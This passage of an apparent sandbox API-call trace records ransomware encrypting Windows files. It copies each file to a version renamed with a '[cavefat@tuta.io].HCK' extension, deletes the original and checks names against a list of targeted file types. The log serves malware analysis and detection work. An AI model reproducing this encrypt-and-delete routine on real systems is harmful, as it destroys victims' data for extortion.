shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString=".doc") returned 4 [0165.132] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString=".docx") returned 5 [0165.132] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0165.132] lstrlenW (lpString=".pdf") returned 4 [0165.132] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString=".xls") returned 4 [0165.132] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString=".xlsx") returned 5 [0165.132] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0165.132] lstrlenW (lpString=".ppt") returned 4 [0165.132] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString=".zip") returned 4 [0165.132] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString=".rar") returned 4 [0165.132] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.132] lstrlenW (lpString=".bz2") returned 4 [0165.132] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.132] lstrlenW (lpString=".7z") returned 3 [0165.132] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString=".dbf") returned 4 [0165.132] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString=".1cd") returned 4 [0165.132] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.132] lstrlenW (lpString=".jpg") returned 4 [0165.132] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString=".doc") returned 4 [0165.133] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString=".docx") returned 5 [0165.133] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0165.133] lstrlenW (lpString=".pdf") returned 4 [0165.133] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString=".xls") returned 4 [0165.133] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString=".xlsx") returned 5 [0165.133] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0165.133] lstrlenW (lpString=".ppt") returned 4 [0165.133] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString=".zip") returned 4 [0165.133] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString=".rar") returned 4 [0165.133] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.133] lstrlenW (lpString=".bz2") returned 4 [0165.133] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.133] lstrlenW (lpString=".7z") returned 3 [0165.133] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString=".dbf") returned 4 [0165.133] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString=".1cd") returned 4 [0165.133] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0165.133] lstrlenW (lpString=".jpg") returned 4 [0165.133] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.133] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0165.133] lstrlenW (lpString="vccorlib140.dll") returned 15 [0165.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.134] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=390320) returned 1 [0165.134] CloseHandle (hObject=0x390) returned 1 [0165.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20 [0165.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.134] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.134] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.135] GetLastError () returned 0x0 [0165.135] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x5f4b0, lpOverlapped=0x0) returned 1 [0165.144] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5f4c0, lpOverlapped=0x0) returned 1 [0165.148] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.148] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf2, lpOverlapped=0x0) returned 1 [0165.148] SetEndOfFile (hFile=0x330) returned 1 [0165.148] CloseHandle (hObject=0x330) returned 1 [0165.149] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.149] SetEndOfFile (hFile=0x390) returned 1 [0165.151] CloseHandle (hObject=0x390) returned 1 [0165.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.152] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.152] lstrlenW (lpString=".doc") returned 4 [0165.152] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString=".docx") returned 5 [0165.152] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0165.152] lstrlenW (lpString=".pdf") returned 4 [0165.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString=".xls") returned 4 [0165.152] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString=".xlsx") returned 5 [0165.152] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0165.152] lstrlenW (lpString=".ppt") returned 4 [0165.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.152] lstrlenW (lpString=".zip") returned 4 [0165.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString=".rar") returned 4 [0165.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.152] lstrlenW (lpString=".bz2") returned 4 [0165.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.152] lstrlenW (lpString=".7z") returned 3 [0165.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".dbf") returned 4 [0165.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".1cd") returned 4 [0165.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".jpg") returned 4 [0165.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".doc") returned 4 [0165.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString=".docx") returned 5 [0165.153] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0165.153] lstrlenW (lpString=".pdf") returned 4 [0165.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString=".xls") returned 4 [0165.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString=".xlsx") returned 5 [0165.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0165.153] lstrlenW (lpString=".ppt") returned 4 [0165.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".zip") returned 4 [0165.153] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString=".rar") returned 4 [0165.153] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.153] lstrlenW (lpString=".bz2") returned 4 [0165.153] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.153] lstrlenW (lpString=".7z") returned 3 [0165.153] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".dbf") returned 4 [0165.153] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".1cd") returned 4 [0165.153] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73 [0165.153] lstrlenW (lpString=".jpg") returned 4 [0165.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.153] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0165.153] lstrlenW (lpString="vcruntime140.dll") returned 16 [0165.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.154] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=88752) returned 1 [0165.154] CloseHandle (hObject=0x390) returned 1 [0165.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 0x20 [0165.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0165.154] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.154] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0165.155] GetLastError () returned 0x0 [0165.155] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x15ab0, lpOverlapped=0x0) returned 1 [0165.157] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x15ac0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x15ac0, lpOverlapped=0x0) returned 1 [0165.158] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0165.158] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf4, lpOverlapped=0x0) returned 1 [0165.158] SetEndOfFile (hFile=0x330) returned 1 [0165.158] CloseHandle (hObject=0x330) returned 1 [0165.159] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.159] SetEndOfFile (hFile=0x390) returned 1 [0165.160] CloseHandle (hObject=0x390) returned 1 [0165.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0165.160] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll")) returned 1 [0165.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.160] lstrlenW (lpString=".doc") returned 4 [0165.160] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString=".docx") returned 5 [0165.160] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0165.160] lstrlenW (lpString=".pdf") returned 4 [0165.160] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString=".xls") returned 4 [0165.160] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString=".xlsx") returned 5 [0165.160] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0165.160] lstrlenW (lpString=".ppt") returned 4 [0165.160] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.160] lstrlenW (lpString=".zip") returned 4 [0165.160] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString=".rar") returned 4 [0165.160] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.160] lstrlenW (lpString=".bz2") returned 4 [0165.160] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.160] lstrlenW (lpString=".7z") returned 3 [0165.160] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".dbf") returned 4 [0165.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".1cd") returned 4 [0165.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".jpg") returned 4 [0165.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".doc") returned 4 [0165.161] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString=".docx") returned 5 [0165.161] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0165.161] lstrlenW (lpString=".pdf") returned 4 [0165.161] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString=".xls") returned 4 [0165.161] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString=".xlsx") returned 5 [0165.161] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0165.161] lstrlenW (lpString=".ppt") returned 4 [0165.161] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".zip") returned 4 [0165.161] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString=".rar") returned 4 [0165.161] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0165.161] lstrlenW (lpString=".bz2") returned 4 [0165.161] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0165.161] lstrlenW (lpString=".7z") returned 3 [0165.161] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".dbf") returned 4 [0165.161] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".1cd") returned 4 [0165.161] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0165.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll") returned 74 [0165.161] lstrlenW (lpString=".jpg") returned 4 [0165.161] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0165.161] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0165.161] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0165.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0165.347] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10752) returned 1 [0165.347] CloseHandle (hObject=0x3ac) returned 1 [0165.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui")) returned 0x20 [0165.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0165.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.429] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.429] lstrlenW (lpString=".doc") returned 4 [0165.429] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.429] lstrlenW (lpString=".docx") returned 5 [0165.430] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.430] lstrlenW (lpString=".pdf") returned 4 [0165.430] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".xls") returned 4 [0165.430] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".xlsx") returned 5 [0165.430] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.430] lstrlenW (lpString=".ppt") returned 4 [0165.430] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString=".zip") returned 4 [0165.430] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".rar") returned 4 [0165.430] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".bz2") returned 4 [0165.430] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0165.430] lstrlenW (lpString=".7z") returned 3 [0165.430] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString=".dbf") returned 4 [0165.430] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString=".1cd") returned 4 [0165.430] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString=".jpg") returned 4 [0165.430] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW (lpString=".doc") returned 4 [0165.430] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0165.430] lstrlenW (lpString=".docx") returned 5 [0165.430] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0165.430] lstrlenW (lpString=".pdf") returned 4 [0165.430] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".xls") returned 4 [0165.430] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString=".xlsx") returned 5 [0165.430] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0165.430] lstrlenW (lpString=".ppt") returned 4 [0165.430] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0165.430] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\tipresx.dll.mui") returned 72 [0165.430] lstrlenW 